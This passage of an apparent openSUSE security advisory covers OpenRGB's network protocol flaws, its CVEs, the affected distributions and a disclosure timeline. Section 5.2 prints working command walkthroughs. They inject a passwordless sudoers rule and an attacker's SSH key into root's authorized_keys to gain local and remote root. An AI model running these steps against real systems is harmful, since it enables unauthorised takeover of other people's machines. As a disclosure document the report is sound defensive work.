passed filename should be rejected. Similarly, non-printable characters (like
terminal control sequences) should not be accepted. Even with these
precautions there should be some mechanism to avoid creation of an unlimited
amount of saved profiles, which could lead to disk space exhaustion.</p>

<h2 id="issue-system-compromise">5.2) Remote and Local Root Exploits via <code class="language-plaintext highlighter-rouge">UPDATEMODE</code> and <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> Messages (CVE-2026-59683)</h2>

<p>The <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkServer.cpp?ref_type=tags#L838"><code class="language-plaintext highlighter-rouge">UPDATEMODE</code> message</a> allows to alter the configuration
of any registered LED controller in OpenRGB. This message is rather complex,
consisting of multiple dynamically-sized arrays and also containing a
variable-length string used as a “mode description” label. This
attacker-controlled string combined with the <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> attack vector
described <a href="#issue-file-overwrite">in section 5.1)</a> paves the way for
full local and even remote root exploits. Other message types that contain
attacker-controlled strings might be usable for this attack as well, we
arbitrarily chose this message type to demonstrate the attack.</p>

<p>The only precondition to this attack is that OpenRGB must have detected at
least one LED controller to operate on. An empty configuration in OpenRGB will
not expose any code paths that allow to store an attacker-controlled string
in the profile written out by <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code>. We also found no way to trigger
the registration of fake or emulated LED devices via the networking protocol.
If OpenRGB is already running on a system then the typical situation will be
that an actual LED controller is registered, however, meaning that the attack
is relevant for most practical scenarios.</p>

<p>For reproducing this attack it is useful to configure a debug LED controller
in OpenRGB, avoiding the need to have any real LED hardware present on the
test system. The <a href="/download/openrgb-exploit.tar.gz">reproducer tarball</a> contains the
configuration file <code class="language-plaintext highlighter-rouge">emul.json</code> which can be used as <code class="language-plaintext highlighter-rouge">OpenRGB.json</code> by the
OpenRGB service. This configuration will expose a test LED device which is
sufficient to trigger the exploit.</p>

<p>The attacker-controlled string stored in the OpenRGB profile as “mode
description” will be written out to the file passed to the <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code>
message. The attacker does not control the full content of the output file,
which will be a binary file containing various other data serialized by
the OpenRGB daemon. The string can be of arbitrary length, however, and can
contain any characters except for null bytes. This allows the attacker to
inject a range of valid text lines which will be interpreted by programs that
otherwise ignore syntax errors found while parsing the file.</p>

<p>One privileged program which fulfills the criteria is <code class="language-plaintext highlighter-rouge">sudo</code> when parsing
<code class="language-plaintext highlighter-rouge">sudoers</code> files; this can be instrumented to turn the vulnerability into a
local root exploit. The following example demonstrates this based on the
provided reproducer script:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># construct a line which will grant us root privileges via `sudo` without</span>
<span class="c"># entering a password</span>
user<span class="nv">$ SUDOERS_LINE</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n\n</span><span class="nv">$USER</span><span class="s2"> ALL=(ALL) NOPASSWD: ALL</span><span class="se">\n\n</span><span class="s2">"</span><span class="si">)</span>

<span class="c"># this will store the line in the testing device's mode description</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--update-mode-name</span> <span class="s2">"0:0:</span><span class="nv">$SUDOERS_LINE</span><span class="s2">"</span>
<span class="o">&gt;</span> Connected to <span class="o">(</span><span class="s1">'localhost'</span>, 6742<span class="o">)</span>
<span class="o">&gt;</span> Sent update <span class="k">for </span>mode name, len <span class="o">=</span> 97

<span class="c"># verify the intended line is actually part of the controller profile by now</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--req-controller-data</span> 0 | <span class="nb">grep </span>NOPASSWD
<span class="o">&gt;</span> <span class="s1">'name'</span>: <span class="s1">'\n\nuser ALL=(ALL) NOPASSWD: ALL'</span>,

<span class="c"># now ask the daemon to store the profile data in a /etc/sudoers.d drop-in</span>
<span class="c"># configuration file</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--save-profile</span> /etc/sudoers.d/letmein
<span class="o">&gt;</span> Connected to <span class="o">(</span><span class="s1">'localhost'</span>, 6742<span class="o">)</span>
<span class="o">&gt;</span> Saved profile to /etc/sudoers.d/letmein

<span class="c"># by now we should be able to gain root</span>
user<span class="nv">$ </span><span class="nb">sudo </span>su -
<span class="o">&gt;</span> /etc/sudoers.d/letmein:1:16: syntax error
<span class="o">&gt;</span> OPENRGB_PROFILE
<span class="o">&gt;</span> &lt;snip&gt;
localhost:~ <span class="c">#</span>
</code></pre></div></div>

<p>To turn this vulnerability into a remote root exploit, the only requirement is
that <code class="language-plaintext highlighter-rouge">sshd</code> is running and accessible on the target host. What we will do is
inject our own SSH public key into the victim’s <code class="language-plaintext highlighter-rouge">/root/.ssh/authorized_keys</code>:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># create a new SSH keypair using an empty passphrase</span>
user<span class="nv">$ </span>ssh-keygen
<span class="o">&gt;</span> Generating public/private ed25519 key pair.
<span class="o">&gt;</span> Enter file <span class="k">in </span>which to save the key <span class="o">(</span>/home/user/.ssh/id_ed25519<span class="o">)</span>:
<span class="o">&gt;</span> Enter passphrase <span class="k">for</span> <span class="s2">"/home/user/.ssh/id_ed25519"</span> <span class="o">(</span>empty <span class="k">for </span>no passphrase<span class="o">)</span>:
<span class="o">&gt;</span> Enter same passphrase again:
<span class="o">&gt;</span> Your identification has been saved <span class="k">in</span> /home/user/.ssh/id_ed25519
<span class="o">&gt;</span> Your public key has been saved <span class="k">in</span> /home/user/.ssh/id_ed25519.pub
<span class="o">&gt;</span> The key fingerprint is:
<span class="o">&gt;</span> SHA256:r3SONks2o9FkN10IKW4sz3yYBdptLVOVeuzZOsVwnIw user@attack-host

<span class="c"># embed the new SSH public key in a shell variable surrounded by newlines</span>
user<span class="nv">$ PUBKEY_LINE</span><span class="o">=</span><span class="si">$(</span><span class="nb">cat</span> .ssh/id_ed25519.pub<span class="si">)</span>
user<span class="nv">$ PUBKEY_LINE</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-e</span> <span class="s2">"</span><span class="se">\n\n</span><span class="nv">$PUBKEY_LINE</span><span class="se">\n\n</span><span class="s2">"</span><span class="si">)</span>

<span class="c"># the remote host running OpenRGB to attack</span>
user<span class="nv">$ ORGB_HOST</span><span class="o">=</span><span class="s2">"victim-host"</span>

<span class="c"># store the public key as "mode description" in the victim's OpenRGB daemon</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--host</span> <span class="nv">$ORGB_HOST</span> <span class="nt">--update-mode-name</span> <span class="s2">"0:0:</span><span class="nv">$PUBKEY_LINE</span><span class="s2">"</span>
<span class="o">&gt;</span> Connected to <span class="o">(</span><span class="s1">'192.168.178.28'</span>, 6742<span class="o">)</span>
<span class="o">&gt;</span> Sent update <span class="k">for </span>mode name, len <span class="o">=</span> 156

<span class="c"># verify the public key is now contained in the profile</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--host</span> <span class="nv">$ORGB_HOST</span> <span class="nt">--req-controller-data</span> 0 | <span class="nb">grep </span>ssh-
<span class="o">&gt;</span>         <span class="s1">'ssh-ed25519 '</span>

<span class="c"># now write out the "profile" into the desired location via `SAVE_PROFILE`</span>
user<span class="nv">$ </span>./rgb_fake_client.py <span class="nt">--host</span> <span class="nv">$ORGB_HOST</span> <span class="nt">--save-profile</span> /root/.ssh/authorized_keys
<span class="o">&gt;</span> Connected to <span class="o">(</span><span class="s1">'192.168.178.28'</span>, 6742<span class="o">)</span>
<span class="o">&gt;</span> Saved profile to /root/.ssh/authorized_keys

<span class="c"># by now we should be able to login as root via SSH</span>
user<span class="nv">$ </span>ssh root@<span class="nv">$ORGB_HOST</span>
<span class="o">&gt;</span> Last login: Thu Jul 30 11:35:08 CEST 2026 from 192.168.178.56 on ssh
<span class="o">&gt;</span> Have a lot of fun...
localhost:~ <span class="c">#</span>
</code></pre></div></div>

<p>Even without <code class="language-plaintext highlighter-rouge">sshd</code> running there exist other possibilities to gain full
remote code execution, such as by overwriting scripts in privileged locations;
the only downside to this approach is that the effect of the attack will
usually not be immediate, but will only take place once a privileged program
executes the crafted script.</p>

<h3 id="suggested-fix-1">Suggested Fix</h3>

<p>The most important part to fixing this potential remote root exploit is
fixing security issue <a href="#issue-file-overwrite">5.1)</a>. Once arbitrary
files cannot be overwritten any longer, the attack will be thwarted.
Furthermore, any string data supplied by clients needs to be restricted in
length and content. There should be no newlines, control characters or other
special characters in the string data.</p>

<h2 id="issue-memory-handling">5.3) Various Denial-of-Service Attack Vectors (CVE-2026-18794)</h2>

<p>There are various ways to achieve Denial-of-Service against the <code class="language-plaintext highlighter-rouge">openrgb</code>
daemon and the system it is running on:</p>

<ul>
  <li>The <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkProtocol.h?ref_type=tags#L44">packet header</a> allows to send a payload of up to 4
gigabytes in length. The daemon’s code will happily allocate on the heap any
payload announced by the client; the client doesn’t even need to send
the actual payload. The daemon also supports up to 32 parallel client
connections which will be handled in dedicated threads. This means a malicious
client can trigger up to 128 gigabyte of memory allocation in <code class="language-plaintext highlighter-rouge">openrgb</code>,
leading to memory exhaustion which might also affect other programs on the
system. This can be reproduced by calling <code class="language-plaintext highlighter-rouge">rgb_fake_client.py
--send-large-messages</code>.</li>
  <li>The data sent by clients is only partially validated for integrity. For
example, strings that are not null-terminated can lead to a crash in
<code class="language-plaintext highlighter-rouge">openrgb</code>, when the data is passed to a <code class="language-plaintext highlighter-rouge">std::string</code> object. Similarly,
overly large array size entries or truncated data structures can lead to
memory access violations in the daemon. Most of this concerns invalid read
accesses, but there also linger some invalid write access issues with the
potential for stack/heap corruption, opening up further, more complicated
attack vectors for privilege escalation.</li>
  <li>The <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkServer.cpp?ref_type=tags#L908"><code class="language-plaintext highlighter-rouge">LOAD_PROFILE</code> message</a> (analogous to <a href="#issue-file-overwrite">issue
5.1</a>) allows to point the daemon to arbitrary
file system locations for parsing new profile data from. This can also lead
to memory exhaustion or to blocking the thread forever (e.g. by pointing it to
a named FIFO pipe or parsing of corrupted data which can again trigger the
memory management issues described above).</li>
  <li>The <code class="language-plaintext highlighter-rouge">DELETE_PROFILE</code> message allows to delete arbitrary files in the system
based on the same approach as pointed out in <a href="#issue-file-overwrite">issue
5.1</a>) for <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code>. This can be
reproduced via <code class="language-plaintext highlighter-rouge">rgb_fake_client.py --delete-profile /path</code>.</li>
  <li>We observed the daemon crashing sometimes because it was sent <code class="language-plaintext highlighter-rouge">SIGPIPE</code> by
the kernel when attempting to write to a client socket that is no longer
connected. The error is not easy to reproduce, but the daemon should ignore
<code class="language-plaintext highlighter-rouge">SIGPIPE</code> in any case to prevent such crashes.</li>
</ul>

<p>Many of these issues also affect the client-side logic of <code class="language-plaintext highlighter-rouge">openrgb</code>. Since
there is no authentication in the protocol, there is no telling whether the
peer is a trustworthy OpenRGB instance, and unexpected replies can crash the
client as well.</p>

<h3 id="suggested-fixes">Suggested Fixes</h3>

<p>These issues are hard to fix since they are spread all over the network
processing logic. OpenRGB needs to enforce sensible size limits for messages
and must carefully scrutinize all input on client and server side to avoid any
memory corruption and invalid memory accesses.</p>

<h1 id="concerns">6) Other Concerns</h1>

<h2 id="61-server-attempts-to-act-as-a-client">6.1) Server Attempts to Act as a Client</h2>

<p>When the <code class="language-plaintext highlighter-rouge">openrgb --server</code> instance is started, for some reason it first
attempts to automatically connect to another server, acting as a client. The
<code class="language-plaintext highlighter-rouge">tryAutoConnect</code> setting for this is found <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/ResourceManager.cpp?ref_type=tags#L1757">in the <code class="language-plaintext highlighter-rouge">ResourceManager</code>
class</a> and is set to <code class="language-plaintext highlighter-rouge">true</code> by default. As a result the
<code class="language-plaintext highlighter-rouge">ResourceManager::InitCoRoutine()</code> calls
<a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/ResourceManager.cpp?ref_type=tags#L1780"><code class="language-plaintext highlighter-rouge">AttemptLocalConnection()</code></a>. This causes the daemon
to attempt a connection to <code class="language-plaintext highlighter-rouge">localhost</code> port 6742, the very same port the
server is supposed to bind and listen to.</p>

<p>Unprivileged local users are allowed to bind to port 6742, which can cause
the OpenRGB server to talk to possibly malicious instances of OpenRGB. The
daemon performs a longer message exchange acting as a client, requesting
information about known devices from the supposed server. Due to this, the
various attack vectors present in the networking protocol as outlined in
<a href="#issue-memory-handling">section 5.3)</a> are exposed to local
unprivileged clients as well.</p>

<p>If the daemon manages to successfully obtain information from the “other
server” then startup won’t continue normally, because the server now attempts
to keep the client connection alive while binding to wildcard IP “0.0.0.0”
port 6742 at the same time. The latter will fail, naturally, if another
process is already listening on this port on localhost. Otherwise this would
have been an interesting attack vector to inject arbitrary LED controller
information into the OpenRGB daemon even with no real LED controller hardware
being available and without having control over the <code class="language-plaintext highlighter-rouge">OpenRGB.json</code>
configuration file.</p>

<p>We are not sure what the intended purpose of this “auto connect” logic is in
the context of <code class="language-plaintext highlighter-rouge">openrgb --server</code>. When using the default configuration values
this does not seem to make sense, and only adds additional complexity
and attack surface. If this auto connect feature would reach an actual remote
server, then this would grant unverified third parties control over the
configuration of OpenRGB running in server mode.</p>

<p>In the <a href="/download/openrgb-exploit.tar.gz">reproducer tarball</a> we also provide a partial
implementation of the OpenRGB server protocol. It can be started via
<code class="language-plaintext highlighter-rouge">rgb_fake_server.py --send-bad-controller-data</code>. When the real <code class="language-plaintext highlighter-rouge">openrgb
--server</code> is started while the fake server is running, various forms of
corruption will occur in <code class="language-plaintext highlighter-rouge">openrgb</code>, ranging from excess memory allocation to
memory corruptions which lead to core dumps.</p>

<h2 id="62-lack-of-network-byte-order-handling">6.2) Lack of Network Byte Order Handling</h2>

<p>The serialized data sent by <code class="language-plaintext highlighter-rouge">openrgb</code> in network messages is always in host
byte order. This seems a strange choice, since OpenRGB is a cross-platform
project. It would be impossible to successfully exchange data between two
hosts using a different byte order or simply differently sized <code class="language-plaintext highlighter-rouge">int</code> types,
for example.</p>

<p>The usual approach to this is to send all data in “network byte order”,
creating a defined data type representation on the wire.</p>

<h2 id="63-plugin-support-further-expands-attack-surface">6.3) Plugin Support Further Expands Attack Surface</h2>

<p>OpenRGB supports plugins which can extend its functionality. Luckily plugins
cannot be loaded via the network API, instead they seem to be configured via
the <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/qt/OpenRGBPluginsPage/OpenRGBPluginsPage.cpp?ref_type=tags#L86">Qt GUI component only</a>. The UI asks the user to select a
binary plugin to “install” into OpenRGB. We are not completely sure what the
supposed workflow is for this, since regular users won’t be able to install a
plugin this way for a system-wide privileged daemon, for example. If the plan
is to run the GUI application as <code class="language-plaintext highlighter-rouge">root</code> then this would be even more worrying.</p>

<p>Loading arbitrary binary plugins selected by the user is an invite to e.g.
run code downloaded from the Internet without verifying signatures, which
would be very unusual and dangerous for a Linux system. A crafted plugin would
lead to immediate code execution in the context of the user running the Qt UI.</p>

<p>Once plugins are installed in OpenRGB they can be reached via the network
using the <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/NetworkServer.cpp?ref_type=tags#L938"><code class="language-plaintext highlighter-rouge">PLUGIN_SPECIFIC</code> message</a>. This calls into
plugin-specific code and is thus beyond the scope of this review. Depending on
what a plugin actually does this could easily open up additional attack
vectors, however.</p>

<h2 id="64-vast-range-of-led-controllers-expands-attack-surface">6.4) Vast Range of LED Controllers Expands Attack Surface</h2>

<p>The <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/tree/release_candidate_1.0rc3/Controllers?ref_type=tags"><code class="language-plaintext highlighter-rouge">Controllers</code> sub-directory</a> currently contains 189
different classes for device-specific support. The code in these files amounts
to about 270,000 lines of code. These device-specific classes partially
override virtual functions that are also reachable via the network protocol,
creating an incalculable amount of code possibly exposed to the network.</p>

<p>It would be helpful to clearly separate code paths that are only called
internally from those which might also be called from the network. Clearly
marking possibly untrusted arguments or scrutinizing input data before passing
it on to specialized code should be considered. Ideally some redesign would
avoid network-related calls into non-core code in the first place.</p>

<h1 id="suggestions">7) Further Suggestions</h1>

<h2 id="71-systemd-service-hardening">7.1) systemd Service Hardening</h2>

<p>Currently the <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/qt/openrgb.service?ref_type=tags">systemd service unit</a> runs the OpenRGB
server with full root privileges without any hardening options in effect.
systemd offers various features to apply sandboxing even to otherwise
privileged processes. This would allow to prevent e.g. modification of files
outside of expected locations by using the <code class="language-plaintext highlighter-rouge">ReadWritePaths=</code> directives and
similar settings.</p>

<p>This should only be considered additional hardening for situations when things
turn bad; it is not a first line of defense for a network-exposed service.</p>

<h2 id="72-dropping-privileges">7.2) Dropping Privileges</h2>

<p>For the scenario of the OpenRGB server running as <code class="language-plaintext highlighter-rouge">root</code> it could be
considered to drop privileges for most of the time to avoid unnecessary
exposure. We assume the main reason for having root privileges is the ability
to modify LED hardware controls, thus the daemon could by default drop
privileges to some <code class="language-plaintext highlighter-rouge">openrgb</code> service user and only raise privileges for the
few situations when they are actually needed.</p>

<p>Another approach could be to separate the daemon into two programs, one
privileged and offering only the hardware-specific API, and another
unprivileged, bridging between network clients and the privileged daemon.</p>

<h2 id="73-mutual-authentication">7.3) Mutual Authentication</h2>

<p>Currently OpenRGB uses an unencrypted and unauthenticated protocol which seems
to be intended to operate on real networks. For this scenario it is highly
advisable to at least offer the option to introduce mutual authentication e.g.
via SSL certificates. This would also allow to introduce encryption. While
most of the data transferred by OpenRGB does not look sensitive at first
sight, the situation might change in the future.</p>

<h2 id="74-applying-safe-defaults">7.4) Applying Safe Defaults</h2>

<p>The <code class="language-plaintext highlighter-rouge">openrgb --server</code> instance should not by default attempt to bind to the
wildcard address <code class="language-plaintext highlighter-rouge">0.0.0.0</code> and thus potentially become available to remote
parties. Doing this should be an explicit decision by the system administrator
via a corresponding configuration entry.</p>

<h1 id="affected-versions">8) Affected OpenRGB Versions</h1>

<p>Most of the security issues outlined in this report have likely been present
in various forms for a long time in OpenRGB. We verified that all of them can
be reproduced in the current OpenRGB release candidates starting from <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc1">1.0
rc1</a>, which was released in early 2025. All Linux
distributions we looked into already package this or a newer version. On some
distributions like Arch, Fedora and Ubuntu, the <code class="language-plaintext highlighter-rouge">openrgb</code> binary reports
versions like “0.9+”, indicating that a development snapshot is used.</p>

<p>The current stable version of OpenRGB is <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_0.9">version 0.9</a>, which was
released back in 2023. The long time since the last stable release is probably
the reason why many Linux distributions package development snapshots by now.</p>

<p>There is one major difference between the version 0.9 stable release and the
release candidate snapshots of OpenRGB: the trivial remote root exploit
(<a href="#issue-system-compromise">issue 5.2</a>) is not possible in version 0.9,
because null terminators embedded in the profile path are not copied into the
<code class="language-plaintext highlighter-rouge">std::string</code> object. The problematic call to <code class="language-plaintext highlighter-rouge">std::string::assign()</code> was only
added in <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/commit/d7ed55b264dee40f68e7a17c11eaa8f1b56d8dc6">commit d7ed55b264d</a>, which first appeared in
release <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc1">1.0rc1</a>.</p>

<p>The <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/blob/release_candidate_1.0rc3/qt/openrgb.service?ref_type=tags">systemd service file</a> which suggests to run <code class="language-plaintext highlighter-rouge">openrgb
--server</code> as <code class="language-plaintext highlighter-rouge">root</code> was added to release candidate tag <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc2">1.0
rc2</a> of OpenRGB.</p>

<p>In summary, OpenRGB release candidate tags starting with 1.0rc1 are fully
affected by the issues in this report. The stable release 0.9 (and likely
older versions) are not affected by trivial remote exploits, because a file
extension is always added to the <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> path. These versions are still
affected by local root exploits (based on symlink attacks) and remote
Denial-of-Service.</p>

<h1 id="affected-distros">9) Affected Systems</h1>

<h2 id="91-linux-distributions">9.1) Linux Distributions</h2>

<p>We looked into common Linux distributions and found the following situation:</p>

<ul>
  <li>Arch Linux packages version 1.0rc3 of OpenRGB and is fully affected by the
issues. Arch Linux has no firewall active by default, so it’s pretty easy to
end up with a vulnerable system here.</li>
  <li>Fedora Linux provides a package based on version 1.0rc2 of OpenRGB and is
thus fully affected by the issues.</li>
  <li>Gentoo Linux currently provides a stable ebuild for version 1.0rc2 of
OpenRGB and is thus fully affected, also not protected by a firewall by
default.</li>
  <li>openSUSE Tumbleweed ships a version of OpenRGB based on 1.0rc2. This package
is fully affected by the issues in this report.</li>
  <li>Ubuntu 26.04 LTS (just recently released) packages version 0.9+, likely
based on version 1.0rc1 of OpenRGB. Earlier Ubuntu 24.04 LTS does not ship
it. The package does not contain a <code class="language-plaintext highlighter-rouge">openrgb</code> system service, but only a
systemd user service. If a regular user starts up this service in an
unprivileged context then the issues from this report are still exploitable,
but naturally limited to the privileges of the victim user. The user’s
<code class="language-plaintext highlighter-rouge">authorized_keys</code> can be overwritten the same way as for <code class="language-plaintext highlighter-rouge">root</code>, making it
possible to access the user’s account remotely.</li>
</ul>

<h2 id="92-bsd-distributions">9.2) BSD Distributions</h2>

<p>Only FreeBSD provides a package of OpenRGB; it is based on version 0.8 of
OpenRGB. The server only binds to localhost in this version, thus there is no
remote attack surface by default. Also embedded null terminators in profile
names are not copied into the target path, which means only local symlink
attacks allow full privilege escalation.</p>

<h2 id="93-other-systems">9.3) Other Systems</h2>

<p>It is likely that the MacOS and Windows ports of OpenRGB are similarly
affected, but we did not look into them.</p>

<h1 id="cves">10) CVE Assignments</h1>

<p>Upstream provided no additional input regarding CVE assignments. Therefore we
assigned CVEs as follows:</p>

<ul>
  <li>CVE-2026-59682 (<a href="#issue-file-overwrite">Issue 5.1</a>): Arbitrary File
Overwrite (and in extension, deletion via <code class="language-plaintext highlighter-rouge">DELETE_PROFILE</code>). In isolation
this is a major local and remote Denial-of-Service attack vector. In OpenRGB
&lt;= 0.9 only local attackers can overwrite arbitrary files via symlink
attacks. In versions &gt; 0.9 also remote attackers can overwrite arbitrary
files.</li>
  <li>CVE-2026-59683 (<a href="#issue-system-compromise">Issue 5.2</a>): Local and remote
root exploits by combining issue 5.1) and attacker-controller strings in LED
profile data. This is only possible in OpenRGB &gt; 0.9.</li>
  <li>CVE-2026-18794 (<a href="#issue-memory-handling">Issue 5.3</a>): Cumulative local
and remote Denial-of-Service attack surface mostly affecting OpenRGB itself
and system memory consumption; possibly offers more complex privilege
escalation attack vectors by way of skillful memory corruption. This affects
OpenRGB &gt;= 0.9, likely also a range of older versions.</li>
</ul>

<h1 id="bugfixes">11) Upstream Bugfixes</h1>

<p>Initially upstream did not intend to publish bugfixes as a response to this
report, although we offered coordinated disclosure. In the course of the
communication with upstream and after we reached out to the <a href="https://oss-security.openwall.org/wiki/mailing-lists/distros">distros mailing
list</a> for pre-disclosure, upstream decided to <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc3.1">publish a
minimal bugfix release</a> after all. <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/commit/d2dd9dcc7369e78f47d01ace19af3750cd89ae66">Commit
d2dd9dcc7</a> addresses the worst aspects of the flaws discussed
in this report:</p>

<ul>
  <li>the daemon will only listen on localhost by default, not on potentially
remote networks.</li>
  <li>pathnames passed to API endpoints like <code class="language-plaintext highlighter-rouge">SAVE_PROFILE</code> are no longer allowed
to contain slashes and other special characters, preventing an escape from
the set configuration directory.</li>
  <li>hardening directives have been added to the <code class="language-plaintext highlighter-rouge">openrgb</code> systemd service.</li>
  <li>a maximum message size is enforced.</li>
</ul>

<p>This will avoid trivial remote or local root exploits, but it is still missing
out on a lot of the other aspects discussed in this report. We don’t recommend
running OpenRGB in real networks even with this patch applied.</p>

<h1 id="12-timeline">12) Timeline</h1>

<table>
  <tbody>
    <tr>
      <td>2026-07-29</td>
      <td>We reached out to the main developer and owner of the OpenRGB GitLab repository asking for a security contact.</td>
    </tr>
    <tr>
      <td>2026-07-30</td>
      <td>We were informed that the email contact was the suitable channel. Thus we forwarded a comprehensive report on the issues this way, offering coordinated disclosure.</td>
    </tr>
    <tr>
      <td>2026-07-30</td>
      <td>Upstream explained that many of the issues would already be fixed by the version 1.0 release still under development. Upstream expressed that OpenRGB is just a spare time project and there would be no intention to provide backports of bugfixes to existing stable versions. We did not get an answer regarding coordinated disclosure or CVE assignments.</td>
    </tr>
    <tr>
      <td>2026-07-31</td>
      <td>The upstream author provided additional details about the current situation on the 1.0 development branch and which mitigations for the security issues are already in place.</td>
    </tr>
    <tr>
      <td>2026-07-31</td>
      <td>We asked for a response to our questions regarding coordinated disclosure and CVE assignments. We suggested an embargo period of about 2 weeks until Mid-August. This would have allowed us to pre-disclose the issues to the <a href="https://oss-security.openwall.org/wiki/mailing-lists/distros">distros mailing list</a> while upstream could have prepared some form of security release addressing at least the trivial remote and local root exploits.</td>
    </tr>
    <tr>
      <td>2026-08-05</td>
      <td>We received no further response from upstream, so we wrote another follow-up email explaining that coordination of the publication of the report and a security release would be very helpful in light of the severity of the issues. We asked for a response until 2026-08-07 lest we pre-disclose to the distros mailing list on our own terms.</td>
    </tr>
    <tr>
      <td>2026-08-05</td>
      <td>Upstream replied pointing out some further technical details about bugfixes to the issues. Upstream mentioned that a version 1.0 release containing some of the security fixes would be ready in about a month. There was still no clear reply regarding coordinated disclosure; we were told that we should take care of coordinated disclosure and CVE assignment on our own.</td>
    </tr>
    <tr>
      <td>2026-08-06</td>
      <td>While we are naturally willing to help in organizing coordinated disclosure, we cannot decide on any time frames for a non-disclosure period which has to be followed by upstream. Thus we again asked upstream to give a clear reply if a non-disclosure period is desired and provided some additional advice about things to consider in this matter.</td>
    </tr>
    <tr>
      <td>2026-08-06</td>
      <td>We assigned CVEs for the issues as outlined in this report.</td>
    </tr>
    <tr>
      <td>2026-08-11</td>
      <td>Without a reply from upstream we decided to approach the distros mailing list to pre-disclose this information. We also developed and shared a set of patches against various release tags of OpenRGB to fix at least the trivial local and remote root exploits.</td>
    </tr>
    <tr>
      <td>2026-08-12</td>
      <td>A publication date of 2026-08-25 was established with the distros mailing list.</td>
    </tr>
    <tr>
      <td>2026-08-12</td>
      <td>We shared the patch set, publication date and CVE assignments with upstream to keep them in the loop.</td>
    </tr>
    <tr>
      <td>2026-08-16</td>
      <td>After a longer period of silence upstream informed us that they would be publishing bugfix releases after all, based on the patches we shared with them. The publication should happen on the weekend of August 22/23, because they had no other time slots for this purpose.</td>
    </tr>
    <tr>
      <td>2026-08-18</td>
      <td>We informed the distros mailing list that upstream plans to publish bugfix releases prior to the established CRD on 2026-08-25. Due to this we considered publishing earlier on our end on 2026-08-24 to better match the upstream release schedule.</td>
    </tr>
    <tr>
      <td>2026-08-24</td>
      <td>We noticed <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc3.1">upstream release 1.03rc3-hotfix</a> which contains <a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/commit/d2dd9dcc7369e78f47d01ace19af3750cd89ae66">a minimal bugfix</a> of the worst issues discussed in this report. The commit documented the CVEs, but otherwise no detailed description of the security issues was to be found. Thus we decided to stick to the original publication date of 2026-08-25 for the full report.</td>
    </tr>
    <tr>
      <td>2026-08-25</td>
      <td>Publication of this report.</td>
    </tr>
  </tbody>
</table>

<h1 id="13-references">13) References</h1>

<ul>
  <li><a href="https://openrgb.org">OpenRGB website</a></li>
  <li><a href="https://gitlab.com/CalcProgrammer1/OpenRGB">OpenRGB GitLab project</a></li>
  <li><a href="https://bugzilla.suse.com/show_bug.cgi?id=1269523">openSUSE review bug for OpenRGB</a></li>
  <li><a href="/download/openrgb-exploit.tar.gz">reproducer tarball for download</a></li>
  <li><a href="https://gitlab.com/CalcProgrammer1/OpenRGB/-/releases/release_candidate_1.0rc3.1">OpenRGB 1.0rc3-hotfix bugfix release</a></li>
</ul>]]></content><author><name>&lt;a href=&apos;mailto:matthias.gerstner@suse.de&apos;&gt;Matthias Gerstner&lt;/a&gt;, &lt;a href=&apos;mailto:filippo.bonazzi@suse.com&apos;&gt;Filippo Bonazzi (editor)&lt;/a&gt;</name></author><category term="CVE" /><category term="remote" /><summary type="html"><![CDATA[OpenRGB is a cross-platform software suite for controlling RGB LED devices. Our review of a custom network protocol implemented in OpenRGB uncovered a range of high-severity security issues that can lead to a trivial full remote system compromise, among others.]]></summary></entry><entry><title type="html">PortProtonQt: Custom Polkit Rule Allows Escalation of NetworkManager and UDisks2 Privileges (CVE-2026-59678)</title><link href="https://security.opensuse.org/2026/07/22/port-proton-qt-polkit-rules.html" rel="alternate" type="text/html" title="PortProtonQt: Custom Polkit Rule Allows Escalation of NetworkManager and UDisks2 Privileges (CVE-2026-59678)" /><published>2026-07-22T00:00:00+00:00</published><updated>2026-07-22T00:00:00+00:00</updated><id>https://security.opensuse.org/2026/07/22/port-proton-qt-polkit-rules</id><content type="html" xml:base="https://security.opensuse.org/2026/07/22/port-proton-qt-polkit-rules.html"><![CDATA[<h1 class="no_toc" id="table-of-contents">Table of Contents</h1>

<ul id="markdown-toc">
  <li><a href="#1-introduction" id="markdown-toc-1-introduction">1) Introduction</a></li>
